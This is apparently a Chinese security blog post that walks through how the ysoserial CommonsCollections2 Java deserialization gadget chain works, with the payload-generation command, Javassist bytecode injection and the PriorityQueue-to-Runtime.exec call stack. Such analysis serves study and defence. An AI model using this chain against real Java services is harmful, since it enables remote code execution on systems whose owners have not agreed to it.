分析完了CommonsCollections1
,就接着分析下CommonsCollections2
。
测试环境:
分析目标命令:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
下载Ysoserial源码:
git clone https://github.com/frohoff/ysoserial.git
IDEA打开pom.xml
,导入为maven
项目。
javassist
是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
Ysoserial
在生成Payload中也是使用的javassist
类库。
几个重要的Javassist
类对象:
ClassPool
:一个基于Hashtable
实现的CtClass
对象容器,其中键名是类名称,值是表示该类的CtClass
对象。
CtClass
:CtClass
表示类,一个CtClass
(编译时类)对象可以处理一个class
文件,这些CtClass
对象可以从ClassPool
获得。
CtMethods
:表示类中的方法。
CtFields
:表示类中的字段。
创建ClassPool
对象
//ClassPool pool = new ClassPool(true); ClassPool pool = ClassPool.getDefault();
使用的是默认系统的类搜索路径获取ClassPool
对象
添加类搜索路径
pool.insertClassPath(new ClassClassPath(this.getClass())); //pool.insertClassPath("/usr/local/javalib");
将类搜索路径插入到搜索路径,或者将目录作为类搜索路径
查找并获取CtClass
对象
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath("XXXXXXX")); CtClass ctClass = pool.get("XXXXX");
依据key
从Hash
表中查找对应的CtClass
对象
CtClass
可被修改
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath("XXXXXXX")); CtClass ctClass = pool.get("XXXXX"); ctClass.setSuperclass(pool.get("XXXXXX"));
修改并设置父类
byte[] b = ctClass.toBytecode();
获取修改后的字节码
Class clazz = ctClass.toClass();
转换成Class
对象
PriorityQueue
一个基于优先级的无界优先级队列。
优先级队列的元素按照其自然顺序进行排序,放入PriorityQueue
的元素,必须实现Comparable
接口,PriorityQueue
会根据元素的排序顺序决定出队的优先级;或者根据构造队列时提供的Comparator
进行排序,元素就不必实现Comparable
接口,具体取决于所使用的构造方法。
/** * Creates a {@code PriorityQueue} with the specified initial capacity * that orders its elements according to the specified comparator. * * @param initialCapacity the initial capacity for this priority queue * @param comparator the comparator that will be used to order this * priority queue. If {@code null}, the {@linkplain Comparable * natural ordering} of the elements will be used. * @throws IllegalArgumentException if {@code initialCapacity} is * less than 1 */ public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }
根据目标命令确定入口文件为GeneratePayload.class
ysoserial.GeneratePayload#main
然后传入CommonsCollections2
调用Utils.getPayloadClass
ysoserial.payloads.ObjectPayload.Utils#getPayloadClass
加载ysoserial.payloads.CommonsCollections2
类并返回,调用newInstance
实例化,然后对象调用getObject
生成Payload。
ysoserial.payloads.CommonsCollections2#getObject
调用Gadgets.createTemplatesImpl
并传入预想执行的命令。
ysoserial.payloads.util.Gadgets#createTemplatesImpl(java.lang.String)
继续调用构造函数createTemplatesImpl
class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
使用Javassist
生成Payload
,创建ClassPool
对象并添加两个类搜索路径:
class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
ysoserial.payloads.util.Gadgets
ysoserial.payloads.util.Gadgets.StubTransletPayload
StubTransletPayload
继承AbstractTranslet
类。
回到TemplatesImpl
,分析过程如下:
class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类。Javassist
获取StubTransletPayload
类字节码。java.lang.Runtime.getRuntime().exec()
执行命令的java代码的字符串。StubTransletPayload
类构造函数的字节码,并新增恶意命令的字节码到构造函数字节码中。Javassist
设置StubTransletPayload
父类为class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,但这一步其实已经重复(StubTransletPayload
定义时已经继承),可能是为了代码优雅。toBytecode()
获取修改后的StubTransletPayload
类字节码,通过反射放入class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类实例的_bytecodes
成员中,并完善其他成员,然后返回到getObject
。ysoserial/payloads/CommonsCollections2.java:35
创建InvokerTransformer
实例,并作为参数传入TransformingComparator
类的构造函数。
org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator(org.apache.commons.collections4.Transformer<? super I,? extends O>)
org.apache.commons.collections4.comparators.TransformingComparator#TransformingComparator(org.apache.commons.collections4.Transformer<? super I,? extends O>, java.util.Comparator<o>)</o>
TransformingComparator
类实例中的transformer
成员存储InvokerTransformer
实例,TransformingComparator
类实例又作为参数传入PriorityQueue
。
java.util.PriorityQueue#PriorityQueue(int, java.util.Comparator<? super E>)
TransformingComparator
类实例存储在PriorityQueue
的comparator
成员中
ysoserial/payloads/CommonsCollections2.java:44
通过反射修改InvokerTransformer
实例中的iMethodName
成员为newTransformer
ysoserial/payloads/CommonsCollections2.java:47
通过反射获取PriorityQueue
实例的queue
数组成员,并将TemplatesImpl
类实例放入成员数组,最后返回PriorityQueue
对象,序列化后输出作为payload。
java.util.PriorityQueue#siftDown
maven依赖:
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
测试代码:
package test; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Queue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class commonscollections2 { public static void main(String[] args) throws IOException, ClassNotFoundException { FileInputStream fis = null; //fis = new FileInputStream("src/test/java/test/test.ser"); fis = new FileInputStream("/Users/rai4over/Desktop/ysoserial/test.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); } }
作者给出的:
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
java.util.PriorityQueue#readObject
PriorityQueue
重写了readObject
,首先通过defaultReadObject
执行默认的反序列化操作
java.util.PriorityQueue#queue
queue
成员本来被transient
修饰,不能默认反序列化,但自定义通过循环设置成员数组queue
,此时两个关键成员:
java.util.PriorityQueue#heapify
进入heapify
进行排序,循环遍历成员数组queue
,TemplatesImpl
实例作为参数传入siftDown
java.util.PriorityQueue#siftDownUsingComparator
org.apache.commons.collections4.comparators.TransformingComparator#compare
org.apache.commons.collections4.functors.InvokerTransformer#transform
通过反射调用TemplatesImpl
类中的newTransformer
方法
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
在循环中通过loader.defineClass
加载恶意字节码到_class
成员,回到上层函数,_class[_transletIndex].newInstance()
进行实例化,完成命令执行,函数调用栈:
exec:347, Runtime (java.lang) <clinit>:-1, Pwner71837519276875 (ysoserial) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) transform:129, InvokerTransformer (org.apache.commons.collections4.functors) compare:81, TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:721, PriorityQueue (java.util) siftDown:687, PriorityQueue (java.util) heapify:736, PriorityQueue (java.util) readObject:795, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1909, ObjectInputStream (java.io) readOrdinaryObject:1808, ObjectInputStream (java.io) readObject0:1353, ObjectInputStream (java.io) readObject:373, ObjectInputStream (java.io) main:14, commonscollections2 (test)
https://www.jianshu.com/p/43424242846b
https://www.cnblogs.com/chiangchou/p/javassist.html#_label1
https://www.jianshu.com/p/c577796e537a
https://y4er.com/post/ysoserial-commonscollections-2/
https://www.liaoxuefeng.com/wiki/1252599548343744/1265120632401152